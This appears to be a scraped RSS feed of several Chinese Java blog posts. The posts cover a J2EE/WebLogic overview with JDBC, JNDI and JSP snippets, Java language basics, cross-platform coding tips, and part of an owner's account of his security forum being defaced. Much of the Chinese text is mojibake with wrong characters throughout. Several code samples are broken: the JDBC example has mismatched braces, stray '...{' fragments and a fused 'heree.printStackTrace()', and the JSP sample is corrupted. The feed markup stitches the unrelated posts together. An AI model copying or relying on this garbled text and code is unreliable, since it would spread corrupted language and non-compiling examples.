q去Q二层化应用--通常被称为client/server应用--是大家谈论的最多的。在很多情况下,服务器提供的惟一服务是数据库服务。在q种解决Ҏ中,客户端程序负责数据访问、实C务逻辑、用合适的样式昄l果、弹出预讄用户界面、接受用戯入等。client/serverl构通常在第一ơ部|的时候比较容易,但难于升U或改进Q而且l常Z某种专有的协议,通常是某U数据库协议。它使得重用业务逻辑和界面逻辑非常困难。更重要的是Q在Web时代Q二层化应用通常不能体现出很好的伸羃性,因而很N应Internet的要求?/p> <p>  Sun设计J2EE的部分v因就是想解决二层化结构的~陷。于是,J2EE定义了一套标准来化N层企业应用的开发。它定义了一套标准化的组Ӟqؓq些lg提供了完整的服务。J2EEq自动ؓ应用E序处理了很多实现细节,如安全、多U程{?/p> <p>  用J2EE开发N层应用包括将二层化结构中的不同层面切分成许多层。一个N层化应用A能够Z下的每种服务提供一个分开的层Q?/p> <ul> <li>  <strong>昄Q?/strong>在一个典型的Web应用中,客户端机器上q行的浏览器负责实现用户界面?/li> <li>  <strong>动态生成显C?</strong>管览器可以完成某些动态内ҎC,但ؓ了兼容不同的览器,q些动态生成工作应该放在Web服务器端q行Q用JSP、ServletsQ或者XML(可扩展标记语a)?可扩展样式表语言)?/li> <li>  <strong>业务逻辑Q?/strong>业务逻辑适合用SessionEJBs(后面介l?来实现?/li> <li>  <strong>数据讉KQ?/strong>数据讉K适合用EntityEJBs(后面介l?和JDBC来实现?/li> <li>  <strong>后台pȝ集成:</strong>同后台系l的集成可能需要用到许多不同的技术,至于何种最佳需要根据后台系l的特征而定?/li> <li>  <strong>您可能开始诧异:</strong>Z么有q么多的?事实上,多层方式可以使企业应用h很强的׾~性,它允许每层专注于特定的角艌Ӏ例如,让Web服务器负责提供页面,应用服务器处理应用逻辑Q而数据库服务器提供数据库服务?/li> </ul> <p>  ׃J2EE建立在Java2q_标准?J2SE)的基上,所以具备了J2SE的所有优点和功能。包括“编写一ơ,到处可用”的可移植性、通过JDBC讉K数据库、同原有企业资源q行交互的CORBA技术,以及一个经q验证的安全模型。在q些基础上,J2EE又增加了对EJB(企业U?Javalg)、Javaservlets、Java服务器页?JSPs)和XML技术的支持?/p> <p>  <strong>分布式结构与WebLogic应用服务?/strong></p> <p>  J2EE提供了一个框?-一套标准API--用于开发分布式l构的应用,q个框架的实际实现留l了W三方厂商。部分厂商只是专注于整个 J2EE架构中的的特定组Ӟ例如Apache的Tomcat提供了对JSP和servlets的支持,BEApȝ公司则通过其WebLogic应用服务器品ؓ整个J2EE规范提供了一个较为完整的实现?br /></p> <p>WebLogic服务器已使徏立和部v伸羃性较好的分布式应用的q程大ؓ化。WebLogic和J2EE代你处理了大量常规的~程dQ包括提供事务服务、安全领域、可靠的消息、名字和目录服务、数据库讉K和连接池、线E池、负载^衡和定w处理{?/p> <p>  通过以一U标准、易用的方式提供q些公共服务Q象WebLogic服务器这L产品造就了具有更好׾~性和可维护性的应用pȝQ其ؓ大量的用h供了增长的可用性?/p> <p>  <strong>J2EE技?/strong></p> <p>  在接下来的部分里Q我们将描述构成J2EE的各U技术,q且了解WebLogic服务器是如何在一个分布式应用中对它们q行支持的。最常用的J2EE技术应该是JDBC、JNDI、EJB、JSP和servletsQ对q些我们作更仔l的考察?/p> <p>  <strong>Java Database Connectivity(JDBC)</strong></p> <p>  JDBCAPI以一U统一的方式来对各U各L数据库进行存取。和ODBC一PJDBC为开发h员隐藏了不同数据库的不同Ҏ。另外,׃JDBC建立在Java的基?因此q提供了数据库存取的q_独立性?/p> <p>  JDBC定义?U不同的驱动E序Q现分述如下Q?/p> <ul> <li>  cd1:JDBC-ODBCBridge</li> </ul> <p>  在JDBC出现的初期,JDBC-ODBC桥显然是非常有实用意义的Q通过JDBC-ODBC桥,开发h员可以用JDBC来存取ODBC数据源。不的是,他需要在客户端安装ODBC驱动E序Q换句话_必须安装MicrosoftWindows的某个版本。用这一cd你需要牺牲JDBC的^台独立性。另外,ODBC驱动E序q需要具有客L的控制权限?/p> <ul> <li>  cd2:JDBC-nativedriverbridge</li> </ul> <p>  JDBC本地驱动E序桥提供了一UJDBC接口Q它建立在本地数据库驱动E序的顶层,而不需要用ODBC。JDBC驱动E序对数据库的API从标准的JDBC调用转换为本地调用。用此cd需要牺牲JDBC的^台独立性,q要求在客户端安装一些本C码?/p> <ul> <li>  cd3:JDBC-networkbridge</li> </ul> <p>  JDBC|络桥驱动程序不再需要客L数据库驱动程序。它使用|络上的中间服务器来存取数据库。这U应用得以下技术的实现有了可能Q这些技术包括负载均衡、连接缓冲池和数据缓存等。由于第3U类型往往只需要相Ҏ的下蝲旉Q具有^台独立性,而且不需要在客户端安装ƈ取得控制权,所以很适合于Internet上的应用?/p> <ul> <li>  cd4:PureJavadriver</li> </ul> <p>  W?U类型通过使用一个纯Java数据库驱动程序来执行数据库的直接讉K。此cd实际上在客户端实C2层结构。要在N-层结构中应用Q一个更好的做法是编写一个EJBQ让它包含存取代码ƈ提供一个对客户端具有数据库独立性的服务?/p> <p>  WebLogic服务器ؓ一些通常的数据库提供了JDBC驱动E序Q包括Oracle,Sybase,MicrosoftSQLServer以及Informix。它也带有一UJDBC驱动E序用于CloudscapeQ这是一U纯Java的DBMSQWebLogic服务器中带有该数据库的评估版本?br /><br /></p> <p>以下让我们看一个JDBC实例Q在q个例子中我们假定你已经在Cloudscape中徏立了一个PhoneBook数据库,q且包含一个表Q名?CONTACT_TABLEQ它带有2个字D:NAME和PHONE。开始的时候先装蝲CloudscapeJDBCdriverQƈh drivermanager得到一个对PhoneBookCloudscape数据库的q接。通过q一q接Q我们可以构造一个Statement对象q用它来执行一个简单的SQL查询。最后,用@环来遍历l果集的所有数据,q用标准输出NAME和PHONE字段的内容进行输出?/p> <p> </p> <p> </p> <table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"> <tbody> <tr> <td bgcolor="#f3f3f3"> <font face="Verdana">import java.sql.*;<br />public class JDBCExample...{ <br />public static void main( String args[] ) <br />...{<br />try...{ <br />Class.forName("COM.cloudscape.core.JDBCDriver"); <br />Connection conn = DriverManager.getConnection("jdbc:cloudscape:PhoneBook");   Statement stmt = conn.createStatement(); <br />String sql = "SELECT name, phone FROM CONTACT_TABLE ORDER BYname"; <br />ResultSet resultSet = stmt.executeQuery( sql ); <br />String name; <br />String phone; <br />while ( resultSet.next() ) <br />...{<br />name = resultSet.getString(1).trim();<br />phone = resultSet.getString(2).trim();<br />System.out.println( name + ", " + phone ); <br />}catch ( Exception e ) <br />...{// Handle exception heree.printStackTrace(); <br />}<br />} <br />}</font> </td> </tr> </tbody> </table> <p>  OK。接着来看一看JDBC是如何在企业应用中的q行使用?/p> <p>  JDBC在企业应用中的应用。以上实例其实是很基本的Q可能有些微不道。它假定了一?层结构。在一个多层的企业U应用中Q更大的可能是在客户端和一个EJBq行通信Q该EJB徏立数据库q接。ؓ了实现和改进可׾~性和pȝ性能Q?WebLogic服务器提供了对连接缓冲池connection pool的支持?/p> <p>  Connection pool减少了徏立和释放数据库连接的消耗。在pȝ启动以后卛_建立q样的缓冲池Q此后如故再有对数据库的hQWebLogic服务器可以很单地从缓冲池中取出数据。数据缓冲池可以在WebLogic服务器的 weblogic.properties 文g中进行定义?/p> <p>  在企业应用的另一个常见的数据库特性是事务处理。事务是一l申明statementQ它们必d为同一个statement来处理以保证数据完整性。缺省情况下JDBC使用 auto-commit 事务模式。这可以通过使用ConnectioncȝsetAutoCommit() Ҏ来实现。现在已l对JDBC有了一些认识,下面该{向JNDI了?/p> <p>  <strong>Java Naming and Directory Interface (JNDI)</strong></p> <p>  JNDI API被用于执行名字和目录服务。它提供了一致的模型来存取和操作企业U的资源如DNS和LDAPQ本地文件系l,后者在应用服务器中的对象。在JNDI 中,在目录结构中的每一个结点称为context。每一个JNDI名字都是相对于context的。这里没有绝对名字的概念存在。对一个应用来_它可以通过使用 InitialContext cL得到其第一个context:</p> <p> </p> <p> </p> <table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"> <tbody> <tr> <td bgcolor="#f3f3f3">Context ctx = new InitialContext();</td> </tr> </tbody> </table> <br /> <p> 应用可以通过q个初始化的contextl有q个目录树来定位它所需要的资源或对象。例如,假设你在Weblogic服务器中展开了一个EJBq将home接口l定到名?myApp.myEJB Q那么该EJB的某个客户在取得一个初始化context以后Q可以通过以下语句定位home接口Q?/p> <p> </p> <table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"> <tbody> <tr> <td bgcolor="#f3f3f3">MyEJBHome home = ctx.lookup( "myApp.myEJB" );</td> </tr> </tbody> </table> <p>  在这个例子中Q一旦你有了对被h对象的参考,EJB的home接口可以在它上面调用方法。我们将在下面的"Enterprise Java Beans"章节中做更多的介l?/p> <p>  以上关于JNDI的讨论只是冰׃一角而已。如果要更进一步地在context中查扑֯象,JNDI也提供了一些方法来q行以下操作Q将一个对象插入或l定到context。这在你展开一个EJB的时候是很有效的。从context中移d象。列出context中的所有对象。创建或删除子一U的context。接下来Q要开始关注EJB了?/p> <p>  <strong>Enterprise Java Beans (EJB)</strong></p> <p>  J2EE技术之所以赢得某体广泛重视的原因之一是EJB。它们提供了一个框架来开发和实施分布式商务逻辑Q由此很显著地简化了h可׾~性和高度复杂的企业应用的开发。EJB规范定义了EJBlg在何时如何与它们的容器进行交互作用。容器负责提供公用的服务Q例如目录服务、事务管理、安全性、资源缓冲池以及定w性?/p> <p>  EJB规范定义了三U基本的beancd:</p> <ul> <li>  <strong>Stateless session beans:</strong> 提供某种单一的服务,不维持Q何状态,在服务器故障发生时无法l存在,生命期相对较短。例如,一个stateless sessionbean可能被用于执行温度{换计?/li> <li>  <strong>Stateful session bean:</strong> T提供了与客户端的会话交互Q可以存储状态从而代表一个客戗典型例子是购物车。Stateful session bean在服务器故障时无法l生存,生命气相对较短。每一个实例只用于一个单个的U程?/li> <li>  <strong>Entity beans:</strong> 提供了一致性数据的表示-- 通常存放在数据库?-- 在服务器故障发生后能l箋存在。多用户情况下可以用EJB来表C相同的数据。entity EJB的一个典型例子是客户的帐号信息?/li> </ul> <p>  管有以上的区别Q所有的EJBq是有许多的共同之处。它们都处理homeinterface。它定义了一个客L是如何创Z消亡EJB的。可以在bean中对定义了客LҎ的远E接口进行调?beancd执行了主要的商务逻辑。描qEJB的开发已l超Z本文的范围。但是,如果一?EJB已经被开发了或者从W三方进行了购买Q它必d应用服务器中q行发布。WebLogic Server 5.1带有一个EJB Deployer Tool来协助处理EJB的发布。当你用EJB Deployer Tool的时候,你要定义客户端所用的JNDI名字来定位EJB。Deployer Tool生成wrappercL处理和容器的通信以及在一个jar文g中把被请求的Javacȝ定在一赗?/p> <p>  一旦EJB被发布,客户端就可以使用它的JNDI名字来定位EJB。首先,它必dC个到home接口的reference。然后,客户端可以用该接口Q调用一个create() Ҏ来得到服务器上运行的某个bean实例的句?最后,客户端可以用该句柄在bean中调用方法。了?EJB后,让我们再来看JSP?br /></p> <p> <strong>JavaServer Pages (JSPs)</strong></p> <p>  可能已经有许多h已经熟悉Microsoft的Active Server Pages(ASP)技术了。JSP和ASP相对应的Q但更具有^台对立性。他们被设计用以帮助Web内容开发h员创建动态网,q且只需要相对较的代码?即Web设计师不懂得如何~程也可以用JSPQ因为JSP应用是很方便的?JSP面由HTML代码和嵌入其中的Java代码所l成。服务器在页面被客户端所h以后对这些Java代码q行处理Q然后将生成的HTML面q回l客L的浏览器?/p> <p>  下面来看一个JSP的简单实例。它只显CZ服务器的当前日期和时间。虽Ӟ对语法的具体解释已经出了本文的范围Q但我们q是可以很直观地看到QJava代码被放?W号的中_而Java的表辑ּ则放在符号之间?/p> <p> </p> <p> </p> <table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"> <tbody> <tr> <td bgcolor="#f3f3f3"> <font face="Verdana">QH1QDate JSP sampleQ?H1Q?br />QH2Q <br />Q? response.setHeader("Refresh", 5); %Q   The current date is Q?= new Date() %Q?  Q?H2Q?/font> </td> </tr> </tbody> </table> <p>  下面? Java servlets</p> <p>  <strong>Java Servlets</strong></p> <p>  Servlet提供的功能大多与JSPcMQ不q实现的方式不同。JSP通常是大多数HTML代码中嵌入少量的Java代码Q?servlets全部由Java写成q且生成HTML。Servlet是一U小型的JavaE序Q它扩展了Web服务器的功能。作ZU服务器端的应用Q当被请求时开始执行,q和CGI Perl脚本很相伹{Servlets和CGI脚本的一个很大的区别是:每一个CGI在开始的时候都要求开始一个新的进E?-- 而servlets是在servlet引擎中以分离的线E来q行的。因此servlets在可伸羃性上提供了很好的改进?/p> <p>  在开发servlets的时候,您常帔R要扩展javax.servlet.http.HttpServletc,q且override一些它的方法,其中包括Q?/p> <ul> <li>  <strong>service():</strong> 作ؓdispatcher来实现命?定义Ҏ</li> <li>  <strong>doGet():</strong> 处理客户端的HTTP GETh?/li> <li>  <strong>doPost():</strong> q行HTTP POST操作</li> </ul> <p>  其它的方法还包括处理不同cd的HTTPh -- 可以参考HttpServlet API文档。以上描q的是标准J2EE Servlet API的各U方法。WebLogic服务器提供了一个该API完整的实现途径。一旦你开发了一个servletQ你可以在 weblogic.properties 中加以注册ƈ由此可以在WebLogic服务器中对它q行配置?/p> <p>  通过Java servlets,我们已经到达了J2EE主要技术的末尾了。但J2EE所提供的ƈ不止于这些。下面的D落中我们将要地看一下现存的一些技术,包括RMI,Java IDL和CORBA, JTA, 以及XMLQ等{?br /><br /></p> <p> <strong>Remote Method Invocation (RMI)</strong></p> <p>  正如其名字所表示的那PRMI协议是在q程对象上调用一些方法。它使用了连l序列方式在客户端和服务器端传递数据。RMI是一U被EJB使用的更下层的协议?/p> <p>  <strong>Java IDL/CORBA</strong></p> <p>  在Java IDL的支持下Q开发h员可以将Java和CORBA集成在一赗?他们可以创徏Java对象q之可在CORBA ORB中展开, 或者他们还可以创徏Javacdƈ作ؓ和其它ORB一起展开的CORBA对象的客戗后一U方法提供了另外一U途径Q通过它Java可以被用于将你的新的应用和legacypȝ盔R成?/p> <p>  <strong>Java Transaction Architecture (JTA)/Java Transaction Service (JTS)</strong></p> <p>  JTA定义了一U标准的APIQ应用系l由此可以存取各U事务监控。JTS是CORBA OTS事务监控的基本的实现。JTS规定了事务管理器的实现方式。该事务理器是在高层支持Java Transaction API (JTA)规范Qƈ且在较底层实现OMG OTS specification的Java映像。JTS事务理器ؓ应用服务器、资源管理器、独立的应用以及通信资源理器提供了事务服务?/p> <p>  <strong>JavaMail and JavaBeans Activation Framework</strong></p> <p>  JavaMail是用于存取邮件服务器的APIQ它提供了一套邮件服务器的抽象类。仅支持SMTP服务器,也支持IMAP服务器?JavaMail利用JavaBeans Activation Framework (JAF)来处理MIME-~码的邮仉件。MIME的字节流可以被{换成Java对象Q或者{换自Java对象。由此大多数应用都可以不需要直接?JAF?/p> <p>  <strong>Java Messaging Service (JMS)</strong></p> <p>  JMS是用于和面向消息的中间g怺通信的应用程序接?API)。它既支持点对点的域Q有支持发布/订阅 (publish/subscribe)cd的域Qƈ且提供对下列cd的支持:l认可的消息传?事务型消息的传递,一致性消息和h持久性的订阅者支持。JMSq提供了另一U方式来Ҏ的应用与legacy backendpȝ盔R成?/p> <p>  <strong>Extensible Markup Language (XML)</strong></p> <p>  XML是一U可以用来定义其它标记语a的语a。它被用来在不同的商务过E中׃n数据。XML的发展和Java是相互独立的Q但是,它和Java h的相同目标正是^台独立性。通过Java和XML的组合,您可以得C个完的hq_独立性的解决Ҏ。目前正有许多不同的公司在ؓJava?XML的组合而努力。如果要了解更多的这斚w的信息,可以讉KSun的Java-XML面Q或者IBM developerWorks的XML Zone?/p> <img src ="http://www.tkk7.com/computerboy/aggbug/97450.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/computerboy/" target="_blank">Computerboy</a> 2007-02-02 11:53 <a href="http://www.tkk7.com/computerboy/archive/2007/02/02/97450.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java基础知识ȝhttp://www.tkk7.com/computerboy/archive/2007/02/02/97446.htmlComputerboyComputerboyFri, 02 Feb 2007 03:45:00 GMThttp://www.tkk7.com/computerboy/archive/2007/02/02/97446.htmlhttp://www.tkk7.com/computerboy/comments/97446.htmlhttp://www.tkk7.com/computerboy/archive/2007/02/02/97446.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/97446.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/97446.html 本文p{载:出处:IT专家|社?br />
1、对象的初始?/strong>

  •   (1)非静态对象的初始?/li>

  在创建对象时Q对象所在类的所有数据成员会首先q行初始化?/p>

    •   基本cdQint型,初始化ؓ0?/li>
    •   如果为对象:q些对象会按序初始化?/li>

  d所有类成员初始化完成之后,才调用本cȝ构造方法创建对象?/p>

  构造方法的作用是初始化?/p>

  •   (2)静态对象的初始?/li>

  E序中主cȝ静态变量会在mainҎ执行前初始化?/p>

  不仅W一ơ创建对象时Q类中的所有静态变量都初始化,q且W一ơ访问某c?注意此时未创建此cd?的静态对象时Q所 有的静态变量也要按它们在类中的序初始化?/p>

  2、承时Q对象的初始化过E?/strong>

  •   (1)ȝ的超cȝ高到低按序初始化静态成员,无论静态成员是否ؓprivate?/li>
  •   (2)ȝ静态成员的初始化?/li>
  •   (3)ȝ的超cȝ高到低进行默认构造方法的调用。注意,在调用每一个超cȝ默认构造方法前Q先q行Ҏ类q行非静态对象的初始化?/li>
  •   (4)ȝ非静态成员的初始化?/li>
  •   (5)调用ȝ的构造方法?/li>

  3、关于构造方?/strong>

  •   (1)cd以没有构造方法,但如果有多个构造方法,应该要有默认的构造方法,否则在承此cLQ需要在子类中显式调用父cȝ某一个非默认的构造方法了?/li>
  •   (2)在一个构造方法中Q只能调用一ơ其他的构造方法,q且调用构造方法的语句必须是第一条语句?/li>

  4、有关public、private和protected

  •   (1)无public修饰的类Q可以被其他c访问的条g是:a.两个cd同一文g中,b.两个cd同一文g夹中Qc.两个cd同一软g包中?/li>
  •   (2)protectedQ承类和同一软g包的cd讉K?/li>
  •   (3)如果构造方法ؓprivateQ那么在其他cM不能创徏该类的对象?/li>

  5、抽象类

  •   (1)抽象cM能创建对象?/li>
  •   (2)如果一个类中一个方法ؓ抽象ҎQ则q个cdMؓabstract抽象cR?/li>
  •   (3)l承抽象cȝcdcM必须实现抽象cM的抽象方法?/li>
  •   (4)抽象cM可以有抽象方法,也可有非抽象Ҏ。抽象方法不能ؓprivate?/li>
  •   (5)间接l承抽象cȝcd以不l出抽象Ҏ的定义?/li>

  6、final关键?/strong>

  •   (1)一个对象是帔RQ不代表不能转变对象的成员,仍可以其成员q行操作?/li>
  •   (2)帔R在用前必须赋|但除了在声明的同时初始化外,只能在构造方法中初始化?/li>
  •   (3)final修饰的方法不能被重置(在子cM不能出现同名Ҏ)?/li>
  •   (4)如果声明一个类为finalQ则所有的Ҏ均ؓfinalQ无论其是否被final修饰Q但数据成员可ؓfinal也可不是?/li>

7、接口interface(用implements来实现接?

  •   (1)接口中的所有数据均为static和final即静态常量。尽可以不用这两个关键字修饎ͼ但必ȝ帔R赋初倹{?/li>
  •   (2)接口中的Ҏ均ؓpublicQ在实现接口cMQ实现方法必dpublic关键字?/li>
  •   (3)如果使用public来修饰接口,则接口必M文g名相同?/li>

  8、多重?/strong>

  •   (1)一个类l承了一个类和接口,那么必须类写在前面Q接口写在后面,接口之间用逗号分隔?/li>
  •   (2)接口之间可多重承,注意使用关键字extends?/li>
  •   (3)一个类虽只实现了一个接口,但不仅要实现q个接口的所有方法,q要实现q个接口l承的接口的ҎQ接口中的所有方法均dcM实现?/li>

  9、接口的嵌入

  •   (1)接口嵌入cMQ可以用private修饰。此Ӟ接口只能在所在的cM实现Q其他类不能讉K?/li>
  •   (2)嵌入接口中的接口一定要为public?/li>

  10、类的嵌?/strong>

  •   (1)cd以嵌入另一个类中,但不能嵌入接口中?/li>
  •   (2)在静态方法或其他Ҏ中,不能直接创徏内部cd象,需通过手段来取得?/li>

  手段有两U:

class A ...{
class B ...{}
B getB() ...{
B b = new B();
return b;  }
}
static void m() ...{
 A a = new A();
A.B ab = a.getB(); // 或者是 A.B ab = a.new B(); 

  (3)一个类l承了另一个类的内部类Q因cL内部c,而内部类的构造方法不能自动被调用Q这样就需要在子类的构造方法中明确的调用超cȝ构造方法。接上例Q?class C extends A.B ...{

class C extends A.B ...{
 C() ...{
 new A().super(); // q一句就实现了对内部cL造方法的调用。?
}  } 

  构造方法也可这样写Q?

C(A a) ...{
a.super();
} // 使用q个构造方法创建对象,要写成C c = new C(a); a是A的对象?/font>

  11、异常类

  JAVA中除了RunTimeExceptionc,其他异常均须捕获或抛出?/p>

Computerboy 2007-02-02 11:45 发表评论
]]>
目开发前的准备工作-Q-~写跨^台注意事?/title><link>http://www.tkk7.com/computerboy/archive/2007/01/19/94928.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 19 Jan 2007 06:16:00 GMT</pubDate><guid>http://www.tkk7.com/computerboy/archive/2007/01/19/94928.html</guid><wfw:comment>http://www.tkk7.com/computerboy/comments/94928.html</wfw:comment><comments>http://www.tkk7.com/computerboy/archive/2007/01/19/94928.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.tkk7.com/computerboy/comments/commentRss/94928.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/computerboy/services/trackbacks/94928.html</trackback:ping><description><![CDATA[最q由于公司要开发最q的web和wap|站?br /><br />前提Qwindowspȝ开发,linux pȝq行?br /><br />没有办法Q我采用的几本是一些开发的东西Q?br />配置是这LQ数据库QMysql 服务器:TomcatQApache。系l:linux<br /><br />上网找了一些资料,主要是关于跨^台的一些细节:<br /><br />1 E序设计的信息编码要注意Q一般要采用 ASCII码字W集Qƈ不是所有的操作pȝ都支持Unicode码?br />  后来研究一下,q是UTF-8?br /><br />2 E序中不要硬性编码与q_相关的Q何常量,比如行分隔符、文件分隔符、\径分隔符{?br />在unix和mac 中是?”,在windows里是“\”?br />如要用这些常量,要用?Java.util.properties cȝgetProperty Ҏ?br />如: Java.util.properties.getProperty("file.seParator")<br />可以获得文g分隔W,getProperty("line.seParator") q回行分隔符?br />                    getProperty("path.seParator") q回路径分隔W?br /><br />3 ~写跨^台网l程序时Q不要?Java.net.InetAddresscȝgetHostNameҎ得到L名,<br />因ؓ不同的^台的L名格式不同。最好?getAddress得到格式相同的IP地址。另外,<br />E序中的所有的L都要换成IP地址?br /><br />4 如写GUIE序Q在使用AWTlg时不能硬性设|组件的大小和ؓ止,而应该用JAVA的布局理?Layout manager)<br />  来设|?br /><br />5 不同的操作系l,不同的机器,pȝ支持的颜色和屏幕的大和分L率都不同Q如何获得这些属性,<br />使用 Java.awt.systemcolor cd以获得需要的颜色Q如该类?inactiveCaption 是H口Ҏ<br />zd标题背景色 ?Menu是菜单背景色Q用Java.awt.Tookit ?getScreenResolution可以?br />“像素每英寸”ؓ单位昄分L率?br />该类 getScreenSize 可以得到屏幕大小(英寸), LoadSystemcolors 可以列出所有的pȝ颜色?br /><br />6 E序中用Q何一个方法时Q要详细查看文档Q确保,使用的方法不是文档已l申明ؓq时的方法,<br />也不是文档中未标明的隐含Ҏ?img src ="http://www.tkk7.com/computerboy/aggbug/94928.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/computerboy/" target="_blank">Computerboy</a> 2007-01-19 14:16 <a href="http://www.tkk7.com/computerboy/archive/2007/01/19/94928.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>剑客论坛被黑与孤独剑客谈黑客http://www.tkk7.com/computerboy/archive/2006/12/24/89786.htmlComputerboyComputerboySun, 24 Dec 2006 13:06:00 GMThttp://www.tkk7.com/computerboy/archive/2006/12/24/89786.htmlhttp://www.tkk7.com/computerboy/comments/89786.htmlhttp://www.tkk7.com/computerboy/archive/2006/12/24/89786.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/89786.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/89786.html 
2003q?1?5?星期?上午9点左叻I仍在睡梦(我的爱好之一:)中的我突然被手机声唤醒,原来是《黑客X档案》的ȝzerol我打来的电话,说我论坛的页面被改了Q按照常理说Q我应该很吃惊的Q毕竟在国内很多人对我的站点虎视眈眈啊,记得很多黑客爱好者新手对我说q:“将来我一定要打|你!”,我一般都乐呵呵地回答Q“我怿你一定能做到Q但你必M出努力”,q是可以理解的,长江后浪推前,江山代有才h出嘛Q而事实上我对此一炚w没有感到吃惊Q这p很多Z感到奇怪了Q你作ؓ国内知名的安全专Ӟ自己的网站页面被改,q么没面子的事,你咋能这么耐的住呢Q这要听我慢慢说来?

关于我的历史我不惌太多了,自从2000以来Q我在专业安全公司为国内的企业提供安全产品和服务了Q更多的旉投入C目理和新产品的设计研I上Q所以,q两q来我也很少写文章和Y件作品了Q就是有一些也是很业余的,甚至_糙Q其实根本原因就是因为工作太J忙Q这是没办法的事情,生存W一嘛!其实更重要的是,作ؓ公司的技术ȝ其责任要q比一名安全爱好者要多的多,要负责公司安全服务体pȝ设计Q不了解国内外的安全标准行吗Q要负责安全目的组l和理Q不学习目理可以吗?要负责品的设计和规划,不研I品技术和原理行吗Q?.. 人的_֊是有限的Q白天我把自q旉几乎全部用在了工作上Q只有夜晚属于我的,才得以和朋友交流最新的安全漏洞和技术等Q但除去睡眠旉Q可用的太有限了Q?

剑客站点是我?999q?0?日做h的一个个人站点,最早就是ؓ了发布一下自q文章和作品,但后来因独特的个性和实用的内定w渐被朋友们所喜爱Q每天的PageView辑ֈ了几万次Q成Z大家交流技术和生活心得的一个场所Q根据需要从2001qv我ؓ之单独租用了服务器,增加了技术文章、常用Y件、作者专栏和论坛C֌{栏目,以期望大家有更好的交场所Q但׃投入的资金不可能太多Q所以服务器的带宽很H,H到什么程度呢Q我专门做过试Q也是说用1台ADSL拨号的电脑用SYNFloodd可以导致服务器停止提供服务。这是没有办法的事情Q因为毕竟资金有限,剑客站点作ؓ一个全免费的基本不做广告的站点Q却拥有独立的域名和服务器,q对于很多网站而言已经很不错了Qƈ且剑客站点还在可承受的范围内Z些朋友提?0M以上的免费Email?

在网站栏目的扩展和大家n受更多免Ҏ务的同时Q剑客网站的安全风险也在增大Q做为安全技术h员,我很早就意识Cq点Q事实上剑客|站采用了网上常见的免费文章pȝ、下载系l和论坛pȝ{,大家也都知道q些脚本E序的代码量很大Q里面存在很多编码不严}的地方,l常是堵了老漏z又Z新漏z,我不可能己去写这些系l,也不可能把它们的代码l统L查一遍,Ҏ原因是我的业余时间太了Q我曄试做了一些,但一个星期也才修改了很一部分Q实在太有限了,所以就攑ּ了?

记得在过去,大家研讨黑客技术都是以取得Ҏpȝ的管理员权限为目的,现在不同了,有些人把更换Ҏ的页面做为目的了Q就象是敌我双方打仗一P常规的判定打胜对方的标准是控制对方的阵地q俘虏对方的士兵Q但现在被这些h换成了只要能偷偷潜入Ҏ阵地Q脓上一个“这里被我占领了Q”的U条q胜利了,q不是有掩耳盗铃、自ƺ欺人的意味么?

事实是:剑客站点l历了无数次的攻击,但至今没有h获得理员权限!

实际上,剑客站点完全可以做的非常安全Q那是把全站做成静态页面或者是亲自~写严}的脚本系l,但是选择前者的话,大家交流的场所失MQ这是可悲的Q若选择后者由我本人来做是不现实的Q其实最好的是关闭站点Q这样对我的名声上可能会很有好处Q但大家也就永远的失Mq样一个交的场所Q我惌是剑?200万以上的访客和近2万的论坛用户所不愿看到的,因此Q我选择了面寚w险,在系l做了安全处理后仍然保持网站开放,但仍焉临着应用层次的攻?.. q且׃仍然是时间问题,|站的管理一直由onebull、开心、孤独侠客和水晶{朋友维护管理?

今年5月䆾 N.E.V.E.R朋友在黑客基?www.hackbase.com)发表的文章《我是这h透入侵孤独剑客网?www.janker.org) 的》,暴露出了文章和下蝲pȝ存在的问题,l过他修改后在一定程度上起到了安全作用,但遗憄是论坛系lƈ没有得到安全处理Q其实论坛的问题早就存在了,在论坛的公告信息里面Q?

=================================================
今天参加程序员考试的兄弟们利q关Q?
发布人:孤独剑客 发布旉Q?003-10-12 19:37:55
=================================================

q消息不是我发布的,后来一位朋友在QQ上告诉我是他发的Q我说谢谢他免费理Q是的,我的没有更改,甚至׃不是恶意的,q删除都没有做,自然也没做什么处理,也就是说漏洞依然?

